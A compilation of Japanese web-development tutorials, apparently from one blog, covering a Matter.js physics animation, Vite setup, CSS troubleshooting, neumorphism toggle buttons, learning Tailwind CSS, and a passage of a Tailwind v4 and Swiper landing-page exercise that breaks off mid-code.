Webページ上で、画像が重力で落下して跳ね返る──そんな動きに魅了された経験はありませんか？この記事では、物理演算ライブラリ「Matter.js」を活用して、ランダムな大きさの円形画像が落下し、1つだけ色が強調される演出「ImpactSphere」を作る方法を解説します。 完成デモはCodePenで公開しています → See the Pen Untitled by masakazuimai (@masakazuimai) on CodePen. Matter.jsとは？ Matter.js は、JavaScriptで物理演算をシミュレーションできる軽量なライブラリです。重力、衝突、摩擦、反発など、リアルな動きをWeb上で簡単に再現できます。 今回のアニメーションでは、次のような要素をMatter.jsで制御しています： 円形画像のランダム落下 壁に当たると跳ね返る ドラッグ操作で移動可能 特定の1つだけ色を変えて注目度をUP 今回作る「ImpactSphere」の特徴 PNG形式の円形画像を使用 JavaScriptで16個の円をランダムサイズで配置 3つ目だけ、黒い部分を赤に強調表示（擬似要素＋CSSマスク） すべて重力・衝突あり、ドラッグで移動可能 Webページの導入アニメーションやバナー演出、キャンペーンなどに応用可能です。 実装のポイント 1. Matter.jsの導入 まずはCDNでMatter.jsを読み込みます。 <script src="https://cdnjs.cloudflare.com/ajax/libs/matter-js/0.19.0/matter.min.js"></script> 2. 画像生成と物理ボディ作成 JavaScriptで円形の画像要素を作成し、それぞれにMatter.jsの物理Bodyを割り当てます。 16個の円をforループでランダムサイズに設定し、3番目の円（インデックス2）にだけspecialクラスを付与します。 3. CSSによる赤マスクの適用 画像の上に擬似要素（::before）を重ね、CSSのmask-imageでマスク処理を行うことで、黒い部分だけ赤く見せる演出を実現します。 .special::before { content: ''; position: absolute; inset: 0; background-color: red; mask-image: url("your-image.png"); mask-mode: luminance; -webkit-mask-image: url("your-image.png"); -webkit-mask-mode: luminance; } 4. DOMと物理演算の同期 毎フレームごとに、Matter.jsの物理ボディの位置と角度をDOMに反映させることで、リアルな見た目を実現します。 応用アイデア 特定の色でユーザーに注目させる クリックでアニメーションに変化をつける WebGLやCanvasと組み合わせてより高精度な演出へ 複数色に分岐、ステータスごとに色変化 ImpactSphereは、演出としてだけでなく、UX向上にも活用できます。 jQueryでは作れる？ jQuery単体では、重力や衝突といった物理演算を扱うことができません。擬似的なアニメーションは可能ですが、今回のような本格的な物理アニメーションはMatter.jsのような専用ライブラリの使用が不可欠です。 まとめ ImpactSphereは、 Matter.jsによる本格的な物理演算 擬似要素＋マスクによる色変更演出 DOMと物理のリアルな同期 を組み合わせた、見た目にも動きにもインパクトのあるアニメーションです。 コードはCodePenにて公開しています。ぜひカスタマイズして、自分だけの演出に発展させてみてください！ よくある質問（FAQ） Q. Impact Sphereアニメーションとは？ 球体が衝突するようなインパクトのあるCSSアニメーション技法です。transform: scale()で拡大縮小を繰り返しながら、box-shadowやfilter: blur()で衝撃波のようなエフェクトを表現します。ランディングページのヒーローセクションやローディング画面で視覚的なインパクトを与えたい場面に活用できます。 Q. CSSで球体（円形）のアニメーションを作るには？ border-radius: 50%で円形にした要素に、radial-gradientで球体らしいハイライトと影を付けます。@keyframesでtransform: translateY()やscale()を変化させてバウンドやパルスのような動きを加えます。box-shadowを複数重ねることで、より立体的で光沢のある球体表現が可能です。 ### [Viteの基礎知識｜高速フロントエンド開発の仕組みと導入方法を解説｜モダン環境対応](https://codequest.work/what-is-vite/) 1. はじめに：Viteとは？ Vite（ヴィート）は、フロントエンド開発のビルドツールです。Vueの開発者であるEvan You氏が作成し、従来のWebpackよりも高速な開発体験を提供します。 🔍 特徴 開発サーバー起動が爆速（100ms以下） モジュールのHMR（ホットリロード）が軽快 ES Modulesベースでモダンな構成 React, Vue, Svelte, Preact に対応済 2. なぜViteが注目されているのか？ ⛔ Webpackの課題 起動が遅い（開発サーバーに数秒以上） 大規模アプリではビルドが数分かかることも 設定ファイルが複雑 ✅ Viteの解決策 開発中はESM（ES Modules）をブラウザに直接提供 依存関係は一度だけ事前バンドル（esbuild） HMRのパフォーマンスが段違い 3. Viteの導入方法（Reactを例に） npm create vite@latest my-app -- --template react cd my-app npm install npm run dev 起動後、ブラウザで http://localhost:5173 にアクセスすれば開発開始！ 4. Viteでできること（特徴まとめ） 機能内容開発サーバー高速HMR、即時反映ビルドesbuild + Rollupで最適化されたバンドルTypeScript対応標準でサポートCSSPostCSS, Sass, CSS Modules 対応プラグインRollup互換で多くのエコシステムを活用可能 5. Viteのメリット・デメリット ✅ メリット 開発体験が快適（特に起動速度とHMR） 設定がシンプル（vite.config.jsで管理） フレームワーク非依存（Vue, React, etc） ❌ デメリット 古いブラウザ対応はやや注意（ESMベース） 大規模プロジェクトではRollup設定が必要な場面も 6.実務Tips（ベストプラクティス集） npmスクリプトで統一管理 Viteを導入するときは npm run dev や npm run build などのスクリプトを package.json にまとめておくと、チーム開発でコマンドが統一され管理しやすくなります。 エイリアス設定でパスを整理 vite.config.js の resolve.alias を設定しておくと、相対パス地獄を避けられます。@/components/Button.vue のようにわかりやすく管理可能です。 環境変数の使い分け Viteは .env ファイルに環境変数を定義でき、import.meta.env で参照可能です。開発用・本番用を分けて設定することでセキュリティと利便性を両立できます。 プラグインの活用 公式・コミュニティ製プラグイン（例：Vue用、React用、圧縮、SVGインポートなど）を導入すると、設定の複雑さを減らせます。 本番ビルド後の検証 npm run build で生成された dist ディレクトリを必ず本番同等の環境で確認してください。ローカルサーバーの挙動と異なる場合があるため、事前検証が重要です。 7.よくある質問 Q. ViteとWebpackの違いは何ですか？ A. Viteは開発時にネイティブESモジュールを利用するため起動が高速で、Webpackよりも開発体験が軽快です。Webpackは機能が豊富で大規模案件でも実績がありますが、設定が複雑になりやすい特徴があります。 Q. Viteはどのフレームワークで使えますか？ A. VueやReactはもちろん、Svelte、Preact、Litなど多くのフレームワークに対応しています。フレームワーク非依存のためプレーンHTML/JSでも利用可能です。 Q. Viteの開発サーバーはなぜ速いのですか？ A. ESモジュールを直接ブラウザに配信し、必要なファイルだけを動的に変換する仕組みをとっているからです。これにより初回起動やホットリロードが非常に高速になります。 Q. Viteは本番環境でも使えますか？ A. 使えます。vite build コマンドでRollupベースの最適化された静的ファイルを生成するため、そのまま本番サーバーやCDNにデプロイ可能です。 Q. Viteを既存のプロジェクトに導入できますか？ A. 可能ですが、Webpackなどから移行する場合は設定ファイルの書き換えや依存関係の整理が必要です。新規プロジェクトから導入する方がスムーズです。 Q. localhost:5173にアクセスしても画面が表示されません。どうすればいいですか？ A. まず npm run dev でViteの開発サーバーが正常に起動しているか確認してください。ターミナルにエラーが表示されている場合は依存パッケージの再インストール（npm install）を試します。ポートが変更されている可能性もあるため、ターミナルに表示されるURLを確認しましょう。 8. localhost:5173とは？Vite開発サーバーの仕組み localhost:5173とは、Viteの開発サーバーがデフォルトで使用するローカルアドレスです。npm run dev を実行すると、Viteは自動的に http://localhost:5173 でローカルサーバーを起動し、ブラウザからアクセスできる開発環境を提供します。 なぜポート5173なのか Viteがポート5173を採用している理由は、他のツールとの競合を避けるためです。たとえば、Reactの create-react-app はポート3000、Webpackは8080を使うことが多いため、Viteは独自のポート番号を選択しています。ポート5173が既に使用中の場合、Viteは自動的に5174、5175と空いているポートを探して起動します。 ポート番号を変更する方法 vite.config.js でポート番号を自由に変更できます。チームで統一したい場合や、他のサービスと競合する場合に設定しましょう。 // vite.config.js import { defineConfig } from 'vite' export default defineConfig({ server: { port: 3000, // localhost:3000 で起動 open: true // 起動時にブラウザを自動で開く } }) localhost:5173にアクセスできないときの対処法 開発サーバーが起動しているのに localhost:5173 にアクセスできない場合は、以下の原因が考えられます。 原因対処法ポートが別のプロセスで使用中ターミナルの出力を確認し、実際に使用されているポート番号でアクセスするファイアウォールがブロックセキュリティソフトやOSのファイアウォール設定を確認する開発サーバーが起動していないnpm run dev を再実行し、エラーが出ていないか確認するブラウザのキャッシュブラウザのキャッシュをクリアするか、シークレットウィンドウで試す 9. Viteでできること一覧 - フロントエンド開発の活用シーン Viteでできることは、単なるビルドの高速化にとどまりません。Viteはフロントエンド開発の幅広い場面で活用でき、開発効率を大幅に向上させるツールです。ここでは具体的な活用シーンを紹介します。 React / Vue / Svelteアプリの開発 Viteは主要なフロントエンドフレームワークのテンプレートを公式に提供しています。npm create vite@latest コマンドひとつでReact、Vue、Svelte、Preact、Litなどのプロジェクトを即座にセットアップできます。TypeScript版のテンプレートも標準で用意されています。 静的サイトのビルド フレームワークを使わないプレーンなHTML/CSS/JavaScriptサイトでもViteは有効です。CSSのPostCSS処理、Sassのコンパイル、画像の最適化、JavaScriptのバンドルと圧縮を一括で処理できます。LPやコーポレートサイトの制作にも適しています。 ライブラリ・パッケージの開発 Viteにはライブラリモード（build.lib）が搭載されており、npmパッケージやUIコンポーネントライブラリの開発にも対応しています。ES ModulesとCommonJSの両形式で出力でき、配布用ライブラリの構築が簡単にできます。 SSR（サーバーサイドレンダリング） ViteはSSRにも対応しており、サーバーサイドでのレンダリング処理を組み込むことが可能です。Next.jsやNuxtといったメタフレームワークの内部でもViteが採用されており、フロントエンドのSSR基盤としての信頼性が高まっています。 Viteと他ツールの比較 Viteは他のフロントエンドツールと比較して、開発体験と導入コストのバランスに優れています。 ツール特徴Viteとの違いWebpack豊富なプラグイン、大規模実績設定が複雑で起動が遅い。Viteは設定がシンプルで高速Parcelゼロコンフィグビルド速度ではViteが優位。プラグインエコシステムもViteが充実esbuild超高速バンドラーViteは内部でesbuildを利用しつつ、開発サーバーやHMRを統合提供TurbopackNext.js向け、Rust製Next.js専用。ViteはフレームワークAPIを使わないため汎用性が高い 10. まとめ Viteはこれからのフロントエンド開発において、必ず覚えておきたいビルドツールです。とにかく起動が早く、開発のストレスが激減します。ReactやVueでの新規プロジェクトは、ぜひViteから始めてみてください。 ✅ チェックリスト（導入検討用） 起動速度を改善したい HMRが遅くて困っている 新しい開発ツールを試してみたい ReactやVueを最新構成で始めたい 関連記事：Viteの導入方法と特徴をまとめた完全ガイド よくある質問（FAQ） Q. Viteとは何ですか？ ViteはEvan You（Vue.jsの作者）が開発した高速なフロントエンドビルドツールです。ESModulesを活用した即座のHMR（ホットモジュールリプレイスメント）と、Rollupベースの最適化されたビルドが特徴です。 Q. ViteとWebpackの違いは？ Webpackはバンドル型で全ファイルを解析してからサーバーを起動するため、大規模プロジェクトで起動が遅くなります。ViteはESModulesを使った非バンドル型で、起動が瞬時かつHMRも高速です。新規プロジェクトではViteが推奨されています。 Q. ViteはReactやVueの両方に使えますか？ はい。Viteは公式でReact・Vue・Svelte・Preact・Lit・Vanillaのテンプレートを提供しています。npm create vite@latestコマンドでフレームワークを選択するだけですぐに始められます。 ### [CSSが反映されない原因と対処法｜つまずきやすいエラー解決チェックリスト](https://codequest.work/css-not-working-reasons/) Web制作において「CSSが反映されない」「デザインが変わらない」という問題に一度はぶつかるものです。この記事では、初心者が見落としがちな原因を9つのチェックリストにまとめ、わかりやすく解決策をご紹介します。 なぜCSSが効かないのか？ CSSが効かない原因は、「記述ミス」だけではありません。HTMLとの連携・読み込み順・ブラウザのキャッシュなど、複数の要素が関係しています。 まずは、「焦らず原因を一つずつ潰していく」ことが重要です。 CSSが効かない原因チェックリスト9選 No.原因チェック項目解決策1CSSファイルの読み込みミス<link>タグのパスが間違っていないか？拡張子は正しいか？相対パスやディレクトリ構成を見直す。開発ツールの「Network」タブでも確認可能。2セレクタ指定のミス.class や #id の指定が合っているか？階層構造は正しいか？HTML側のクラス名や構造と一致しているかを再確認。3キャッシュの影響変更しても見た目が変わらない「スーパーリロード（Shift + 再読み込み）」やブラウザのキャッシュ削除を実行。4CSSの優先順位他のスタイルに上書きされていないか？セレクタの強さ・順番・!important の有無を確認。5CSS構文エラー{}や;の閉じ忘れがないか？VSCodeやLinterで構文チェック。6非表示プロパティdisplay: none; や visibility: hidden; が使われていないか？該当の要素に適用されていないか、検証ツールで確認。7インラインスタイルの競合style=""で直接指定されていないか？インラインが優先されるため、不要なら削除。8メディアクエリの条件不一致画面サイズに合っているか？ @mediaの指定は正しいか？ウィンドウ幅やbreakpointの条件を確認。9JavaScriptによる変更JSで動的にHTMLが書き換えられていないか？DOM構築後にスタイルが適用されているか確認。遅延読み込みにも注意。 各原因の詳細と例 1. CSSファイルの読み込みミス <link rel="stylesheet" href="css/style.css"> 2. セレクタの指定ミス <div class="main-box"></div> .mainbox { background: red; } 上記のようにクラス名をタイプミスしていると、当然効きません。HTMLとCSSのクラス名が完全一致しているか確認しましょう。 差分チェックツールを使用して効率アップ！ CodeDiff 3. キャッシュが残っている ブラウザは読み込んだCSSファイルをキャッシュしているため、修正が反映されないことがあります。Cmd + Shift + R（Mac）やCtrl + Shift + R（Windows）で強制再読み込みしましょう。 👉 スーパーリロードの詳しい手順とキャッシュクリアの方法はこちら 4. 優先順位（Specificity）の問題 <div class="box" style="color: blue;"></div> .box { color: red; } このように、インラインスタイルがあると、外部CSSが効きません。!importantやセレクタの強さも影響します。 5. 構文エラー .container { width: 100% background: #eee; } セミコロンの付け忘れにより、下のプロパティが無効になることがあります。構文チェックツールを使いましょう。 6. 非表示設定がかかっている JSや他のCSSでdisplay: none;が付与されている場合、「存在はしていても表示されていない」状態になります。ChromeのDevToolsで要素の状態を確認しましょう。 7. インラインスタイルが優先されている <div style="font-size: 20px;"></div> CSSファイルでfont-size: 16px;と指定しても、インラインの方が優先されます。 8. メディアクエリがマッチしていない @media (max-width: 600px) { .box { background: red; } } しかし、表示幅が601pxの場合にはこのCSSは適用されません。画面幅とブレイクポイントが一致しているか確認しましょう。 境界値ちょうどのときにどちらが当たるかや、max-width と min-width を1pxずらして書くと小数幅で穴が空く問題はメディアクエリのrange構文と境界値で実測つきで解説しています。 9. JavaScriptのDOM変更による影響 例えばJSで要素をappendChildした場合、CSSは既に読み込まれていても、新しく追加されたDOMにはCSSが効かないように見えることがあります。イベント発火や読み込みタイミングを確認しましょう。 効かないときの最終チェック3ステップ デベロッパーツールで「スタイル」が当たっているか確認 キャッシュクリア（スーパーリロード） 他ブラウザでも同じ症状か確認 実務Tips（ベストプラクティス集） ブラウザキャッシュを疑う CSSを書き換えたのに反映されない場合、スーパーリロード（Shift＋再読み込み）やキャッシュクリアで解決することが多いです。 👉 各ブラウザごとのスーパーリロード方法を確認する CSSの読み込み順序を確認 外部CSSとインラインCSSが競合している場合、最後に読み込まれたスタイルが優先されます。意図した順序で読み込まれているかチェックしましょう。 セレクタの優先度を理解する 同じ要素に複数のスタイルが当たっている場合、!important ＞ インライン ＞ ID ＞ クラス ＞ タグ の順で強さが決まります。原因切り分けに役立ちます。 CSSファイルのパスミスを確認 特にWordPressや相対パス指定では、CSSファイル自体が404になっているケースもあります。デベロッパーツールのネットワークタブで確認すると早いです。 ファイルは返っているのに古い内容が表示される場合は、配信側のキャッシュ設定を疑う番です。配信設定をヘッダーで判定する手順で、サーバーが返している有効期間をコマンド1回で確認できます。 デベロッパーツールで検証 ブラウザの検証ツールで対象要素を選び、どのスタイルが効いているか／上書きされているかを必ず確認しましょう。現場でのトラブルシューティングに必須です。 キャッシュ対策にバージョン付与 本番公開後は style.css?v=2 のようにクエリ文字をつけて更新を認識させるのが定番です。 よくある質問 Q. CSSが効かないとき、最初に確認すべきことは？ A. ブラウザキャッシュとCSSの読み込みパスです。この2つで解決することが大半です。 Q. !importantは多用しても良いですか？ A. 推奨されません。スタイルが複雑になり、将来の修正が困難になります。必要最小限にとどめましょう。 Q. 外部ライブラリ（Bootstrapなど）が影響することはありますか？ A. はい。ライブラリCSSが意図せず上書きすることがあります。読み込み順序とセレクタの強さを確認しましょう。 Q. WordPressで反映されない場合の原因は？ A. キャッシュプラグイン、子テーマの反映忘れ、functions.phpの記述ミスなどが多いです。テーマ編集時はキャッシュ削除もセットで行いましょう。 Q. SCSSやSassを使っている場合の注意点は？ A. コンパイルエラーでCSSが生成されていないケースがあります。まずはCSSが生成されているか確認してください。 まとめ CSSが反映されない原因は、セレクタや詳細度のミスから、キャッシュ・読み込み順といった環境要因まで多岐にわたります。本記事のチェックリストで一つずつ切り分ければ、ほとんどのケースは解決できます。ブラウザ・エディタ・デプロイ環境ごとの個別対処は、別記事「Chrome・VSCode・GitHubでCSSが反映されない原因と対処法」にまとめています。 なお、原因を直しても「ブラウザによって見た目が微妙に違う」場合は、ブラウザ標準スタイルの差が原因です。最初にリセットCSSを読み込んでおくと、こうしたズレを根本から防げます。 ### [ニューモーフィズムのトグルスイッチをCSSで実装｜切替ボタン](https://codequest.work/neumorphism-toggle-buttons-css/) はじめに CSSだけで表現力の高いUIを作れるようになりたい──そんな方におすすめなのが、今回ご紹介するNeumorphism（ニューモーフィズム）スタイルのトグルボタンです。 本記事では、クリックで切り替えるタイプ、マウスホバーで変化するタイプ、黒線を活用したアクセント付きトグルなど、合計14種類のボタンスタイルを紹介します。デザイン性だけでなく、実装もシンプルなため、CSSの練習やポートフォリオ用パーツとしても最適です。 トグルボタンのバリエーション一覧 番号タイプ特徴1クリック基本スライド2クリック色変化3クリックアイコン変化4クリック回転アニメーション5クリックON/OFF文字切り替え6クリック背景カラー変化7〜12ホバー上記のホバー版13クリック黒線クリック14ホバー黒線ホバー どのボタンも、ベースには .neumo クラスを使用し、CSSの ::after 擬似要素を活用することで滑らかなスライドや見た目の変化を表現しています。 実装のポイント解説 ▷ 擬似要素 ::after を使ったスライダー ボタン内の丸いスライダーは ::after で表現。位置を left で操作することで右へスライドするように見せています。 .neumo::after { content: ""; position: absolute; top: 3px; left: 3px; /* ← 初期位置 */ width: 24px; height: 24px; border-radius: 50%; transition: all 0.3s; } #toggle1:checked + .neumo::after { left: 53px; /* ← 移動後 */ } ▷ content プロパティで文字やアイコンを切り替え ON/OFFやアイコン表示は ::after の content を使うことで実現。以下のように状態で切り替えます： #toggle5:checked + .neumo::after { content: "ON"; background: #55be20; } #toggle5 + .neumo::after { content: "OFF"; background: #ccc; } ▷ Neumorphism の立体感は box-shadow が鍵 ニューモーフィズムらしい立体感は、内側と外側の box-shadow をうまく組み合わせることで演出できます。 .neumo { background: #e0e0e0; box-shadow: 6px 6px 12px #bebebe, -6px -6px 12px #ffffff; } コード全体（HTML＋CSS） こちらの記事で紹介しているコードの全体は以下から確認できます： See the Pen toggle switch by masakazuimai (@masakazuimai) on CodePen. カスタマイズ例・活用シーン このトグルは、以下のような用途でも活躍します： サイトの設定メニュー切り替え ダークモードのON/OFF フォームのオプション選択切り替え LPやキャンペーンサイトの装飾用ボタン カラーや影の調整をするだけで、より自分好みのデザインにもアレンジ可能です。 まとめ Neumorphismスタイルのトグルボタンを14種類紹介 クリック／ホバー切替をCSSのみで実現 ::after や box-shadow を活用した表現力を体験 CSSの可能性を広げるパーツとして、ぜひあなたの制作物にも取り入れてみてください！ よくある質問（FAQ） Q. ニューモーフィズムのトグルボタンをCSSで作る方法は？ box-shadowで内側と外側の影を組み合わせ、背景と同系色の明暗差で凹凸感を表現します。ON状態ではbox-shadow: inset（内側の影）に切り替えることで、ボタンが押し込まれた見た目になります。checkbox要素の:checked擬似クラスとCSS変数を組み合わせれば、JavaScript不要でトグル動作が実装できます。 Q. ニューモーフィズムデザインの注意点は？ コントラストが低くなりやすいため、アクセシビリティ（WCAG 2.1のコントラスト比基準）に注意が必要です。特にボタンやフォーム要素は操作可能であることが視覚的に明確でなければなりません。背景色との明度差を十分に確保し、フォーカス状態のスタイルも明確に定義してください。 ### [Tailwind CSSの学習方法｜初心者が最短でマスターする7つのステップ](https://codequest.work/tailwind-css-learning-method/) Tailwind CSSは、クラス名を組み合わせて直感的にデザインを組み立てられる「ユーティリティファーストCSSフレームワーク」です。初心者でも理解しやすく、CSSが苦手な方でも実装力がつくため、学習サイトやポートフォリオ作成にも最適です。 今回は、Tailwind CSSを初めて学ぶ方向けに、最短でスキルを身につける7つのステップをご紹介します。 ✅ Step1：ユーティリティファーストの考え方を理解しよう Tailwind CSSの最大の特徴は「ユーティリティクラス（実用的なクラス）」です。たとえば、次のようなクラスを組み合わせて見た目を作ります。 <div class="bg-blue-500 text-white p-4 text-center rounded-lg"> ボタン風のボックス </div> CSSファイルに記述せず、HTMLだけで見た目が完成するのがTailwindの魅力です。 ✅ Step2：CDNで今すぐ試してみよう Tailwindは環境構築が不要な「CDN版」でもすぐに試せます。以下のコードを<head>内に追加するだけでOKです。 <script src="https://cdn.tailwindcss.com"></script> CDNを使って、まずは見出しやカードUIなど簡単なレイアウトを作ってみましょう。 ✅ Step3：クラスをカテゴリごとに覚えよう Tailwindには数百のクラスがありますが、すべて覚える必要はありません。まずは、よく使うカテゴリだけ押さえましょう。 カテゴリ主なクラス例色指定bg-red-500, text-blue-600余白p-4, mt-2, mb-6, gap-4レイアウトflex, grid, items-center, justify-betweenテキストtext-lg, font-bold, text-center枠線・影border, rounded, shadow-lg ✅ Step4：レスポンシブ対応の仕組みを理解しよう Tailwindはモバイルファースト設計。sm:, md:, lg:のようなブレイクポイントを活用すれば、レスポンシブ対応も簡単です。 <p class="text-base md:text-xl lg:text-2xl"> デバイスに応じて文字サイズが変化します。 </p> これだけで、スマホ〜PCまで最適化されたデザインが可能です。 ✅ Step5：小さなパーツからUIを模写してみよう 実力をつけるには、実際のパーツを模写するのが一番効果的です。 カードデザイン（画像＋テキスト） ヘッダーナビゲーション サイドバー付きのレイアウト フッターの3列構成 Tailwindのクラスだけでどこまで作れるか、試してみると理解が深まります。 ✅ Step6：JavaScriptライブラリと連携してUIを拡張しよう TailwindはJSライブラリとも相性抜群です。たとえば、Swiper.jsと連携すれば簡単にスライダーを作成できます。 npm install swiper Tailwindでスタイルを整えながら、動きのあるインタラクションも追加してみましょう。 ✅ Step7：環境構築やカスタマイズで中級者レベルへ Tailwind CSSはnpmを使った開発環境構築もサポートしています。 npm install -D tailwindcss npx tailwindcss init 独自のカラーパレット追加 @applyを使った独自クラス作成 コンポーネント化 といった拡張で、より効率的な開発が可能になります。 🔧 学習に使える便利ツール ツール名説明Tailwind Playブラウザ上でTailwindを実験できるTailwind CSS公式ドキュメントクラスの一覧・使い方を確認HeroiconsTailwind製の無料アイコン集Tailwind UI（有料）高品質なUIテンプレート集（商用可）Tailwind CSS Cheat SheetCheat Sheet まとめ：Tailwind CSSは初心者の最強ツール Tailwind CSSは、学習コストが低く、視覚的にもわかりやすいため、HTML/CSSに苦手意識がある方にもぴったりのCSSフレームワークです。 ✅ とにかく手を動かして✅ クラスの意味を体感して✅ 少しずつUIを組み立てる このサイクルを回せば、短期間でTailwindを使いこなせるようになります。 よくある質問（FAQ） Q. Tailwind CSSとは何ですか？ Tailwind CSSはユーティリティファーストのCSSフレームワークで、HTMLにクラス名を直接記述してスタイルを適用します。個別のCSSファイルを書く必要が少なく、開発速度の向上とデザインの一貫性が実現できます。 Q. Tailwind CSSの学習にかかる時間は？ 基本的なレイアウト・色・余白の指定は数時間で習得できます。レスポンシブ対応やカスタムテーマ設定を含めた実践レベルには1〜2週間の集中学習が目安です。公式ドキュメントが充実しており、独学でも十分習得可能です。 Q. Tailwind CSSのデメリットは？ HTMLにクラスが大量に付与されるため可読性が低下する点、独自のクラス名を覚える学習コスト、チーム全員がTailwindを理解する必要がある点です。ただし、@applyディレクティブやコンポーネント化で管理性を改善できます。 ### [模写中級 #005・Tailwind CSS v4とSwiperで作るスマホ製品LP](https://codequest.work/tailwind-smartphone-landingpage/) この課題は、Tailwind CSS と Swiper を CDN だけで読み込み、ビルド環境なしでスマートフォン製品のLPを1枚組み上げる中級課題です。身につくのは「ユーティリティクラスだけでレイアウトを組む力」と「ライブラリのバージョンを自分で決めて固定する力」の2つです。 模写する対象は公開しています。スマホ製品LPのデモを開く 項目内容難易度中級所要時間目安4〜6時間（実装量からの見積もりで、計測値ではありません）使う技術HTML / Tailwind CSS v4 / Swiper 14 / IntersectionObserver 見た目を似せるだけなら数時間で終わります。山場はそこではなく、CDNで読み込むライブラリのバージョンが公式ドキュメントの世代とズレたまま放置される、という実務で起きる問題のほうです。 この課題で作るもの ページを構成する6つのセクション セクションここで練習することヒーロー画面いっぱいの高さと中央寄せ、流体的な文字サイズ製品スライダーSwiperの組み込みとキーボード操作価格プラン1カラムから3カラムへ切り替えるグリッドスペック表表だけを横スクロールさせる囲い方FAQ・問い合わせ余白の統一とボタンの状態変化 まず骨格だけ書く 完成コードは載せません。写して終わりでは練習になりません。最初はこの骨格だけで十分です。 <body class="font-sans text-white antialiased"> <section class="fade-in animated-bg">ヒーロー</section> <section id="features" class="fade-in">スライダー</section> <!-- pricing / specs / faq / contact も同じ形で並べる --> <footer>コピーライト</footer> </body> 読み込むライブラリのバージョンを自分で決める CDNのURLと公式ドキュメントの世代がズレている よく使われる読み込み方を2026年8月2日に実際に取得して確かめた結果が以下です。 対象よく書かれる指定実測（2026-08-02）Tailwind の CDNcdn.tailwindcss.comHTTP 200。ただし /3.4.17 へ1回リダイレクトされv3系に固定（npm上の最新は4.3.3・2026-07-16公開）公式ドキュメントtailwindcss.com/docsページ内の表記は「Tailwind CSS v4.3」。つまりv4の説明Swiper の CDNswiper@1111.2.10 に解決。11系の最終リリースは2025-06-28（最新は14.0.7・2026-07-28公開） つまり cdn.tailwindcss.com を読み込んで公式ドキュメントを見ながら書くと、動くのは v3、読む説明は v4 になります。既定値が変わったクラスもあるため、表示がおかしい原因を特定できません。 模写元のデモ自身が、この状態です。2026年8月2日にデモのHTMLを取得して確認したところ、読み込んでいるのは cdn.tailwindcss.com（＝v3.4.17）と swiper@11 でした。つまりこれから書くコード（v4）とデモ（v3）は世代が違います。見た目を突き合わせるときは、次の2つが「自分の書き間違い」ではなくバージョン差であることを先に知っておいてください。 デモで使われているクラスv3での意味v4で同じにするにはshadow-smいちばん小さい影shadow-xs に書き換える（v4の shadow-sm は一段大きい影）border（色指定なし）枠線の色は gray-200border border-gray-200 のように色を明示する（v4の既定は currentColor＝文字色） デモに合わせて直すのが目的ではありません。「同じクラス名を書いたのに見え方が違う」が起きたら、まずバージョンを疑うという手順を覚えるのがこの課題の狙いです。 この課題は Tailwind v4 で通す v3 に留まる選択もありますが、この課題では v4 に揃えます。理由は3つです。 現行のインストール手順ページ（Play CDN・2026-08-02取得）が案内するのは cdn.jsdelivr.net/npm/@tailwindcss/browser@4 で、cdn.tailwindcss.com は一度も出てきません。 世代を揃えると、うまくいかないときに「自分の書き方の問題」だけを疑えばよくなります。 v4 のブラウザ版 CDN は生存を確認済みです（HTTP 200・281,817バイト。クラスが生成されることもブラウザで確認）。 ただし公式アップグレードガイドによれば v4 は Safari 16.4 / Chrome 111 / Firefox 128 以降が対象で、古い環境では動きません。そうした案件では v3.4 に留まることを公式が推奨しています。 v3 と v4 で実際に変わった書き方 この課題で影響が出るのは次の2点で、どちらもブラウザで値を読んで確かめています。 1. 設定の入り口が変わった。 v3 は window.tailwind を持ち tailwind.config = {} で色を足せましたが、v4 のブラウザ版では window.tailwind が undefined です（実測）。代わりに CSS 側で書きます。 <style type="text/tailwindcss"> @theme { --color-brand: #da373d; } </style> これで text-brand が使えます（実測で rgb(218, 55, 61)）。type="text/tailwindcss" を付け忘れるとただのCSSとして扱われ、@theme は無視されます。 2. border だけ書いたときの色が変わった。 同じ class="border" の計算値は、v3 が rgb(229, 231, 235)（gray-200）、v4 が rgb(0, 0, 0) すなわち currentColor でした。枠線は border border-gray-300 と色まで書く癖をつけてください。 公式は他に ring の既定幅が3pxから1pxになった点、rounded-sm や shadow-sm の大きさがずれた点を挙げていますが、この課題で使う rounded shadow-md ring-2 は影響しません。CSSの書き方はCSS実装テクニック集で整理できます。 Swiper は14系に上げる Swiper も 11 のままにせず 14 系へ上げます。公式CHANGELOG（2026-08-02取得）の記載は次のとおりです。 v14 は全体の TypeScript 書き直しで、v13 は飛ばされている v12 からのアップグレードにコード変更は不要。オプションも既定値もそのまま 対応ブラウザは Chrome / Edge 110以降、Safari 16.4以降、Firefox 110以降 11から12でLESS / SCSSの配布が廃止され、ナビゲーション矢印がSVGになった 下限ブラウザが Safari 16.4 で Tailwind v4 と揃うのが決め手です。片方だけ古い前提を引きずると対応表を二重に管理することになります。LESS / SCSS の廃止は今回の構成では影響しません。11系向けの初期化コードを 14.0.7 で動かし、そのまま動くことも確認しました。 バージョンは必ず固定して書く @4 や @11 のようなメジャー指定は系列の最新へ自動で追随します。便利に見えますが、次に開いた日に挙動が変わっても自分のコードのせいかライブラリのせいかを切り分けられません。パッチ番号まで固定してください。 <script src="https://cdn.jsdelivr.net/npm/@tailwindcss/browser@4.3.3"></script> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/swiper@14.0.7/swiper-bundle.min.css" /> <script src="https://cdn.jsdelivr.net/npm/swiper@14.0.7/swiper-bundle.min.js"></script> いずれも2026-08-02にHTTP 200で取得できました。なお Play CDN について公式は「開発用であり本番向けではない」と明記しています。仕事で使うときは CLI か Vite でビルドしてください。 手を動かす順番 ヒーローを画面いっぱいにする <section class="min-h-screen flex flex-col justify-center items-center text-center px-6 fade-in animated-bg"> h-screen ではなく min-h-screen を選びます。高さを固定すると長い見出しで文字が切れるためです。文字サイズは text-4xl sm:text-5xl md:text-6xl と段階で持つか text-[min(10vw,60px)] で流体化するか、どちらかに決めて混ぜないこと。 スライダーを置く <div class="swiper max-w-4xl mx-auto"> <div class="swiper-wrapper"> <div class="swiper-slide"><!-- 画像 --></div> </div> <div class="swiper-pagination mt-6"></div> </div> swiper swiper-wrapper swiper-slide はライブラリ側の規約なので、Tailwind のクラスに置き換えず同じ要素に足す形で書きます。初期化は次のとおりです。 new Swiper(".swiper", { loop: true, pagination: { el: ".swiper-pagination", clickable: true }, autoplay: { delay: 4000, disableOnInteraction: false, pauseOnMouseEnter: true }, keyboard: { enabled: true }, }); 最後の keyboard が今回の肝です。Swiper API リファレンス（2026-08-02取得）では keyboard.enabled の既定値は false で、書かなければ矢印キーは効きません。読み上げ用の属性を扱う a11y モジュールは既定で有効なので、書かなくても働きます。 価格カードを3カラムにする <div class="max-w-5xl mx-auto grid grid-cols-1 